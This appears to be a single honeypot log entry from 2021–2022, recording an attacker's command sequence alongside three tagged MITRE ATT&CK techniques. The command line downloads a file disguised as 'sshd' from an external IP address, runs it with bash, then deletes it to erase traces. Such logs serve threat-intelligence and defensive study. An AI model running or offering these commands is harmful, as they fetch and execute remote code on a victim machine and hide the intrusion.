Honeypot attack session (period 2021_2022), commands issued:
cd /tmp; wget 51.79.55.208:8281/sshd -O /tmp/sshd; curl 51.79.55.208:8281/sshd -o /tmp/sshd; bash /tmp/sshd; rm -rf /tmp/sshd; rm -r /tmp/sshd; rm -rf /var/tmp/sshd; rm -rf /var/tmp/sshd.*; rm -rf /tmp/sshd.*

MITRE ATT&CK techniques observed:
T1105 Ingress Tool Transfer
T1059 Command and Scripting Interpreter
T1070 Indicator Removal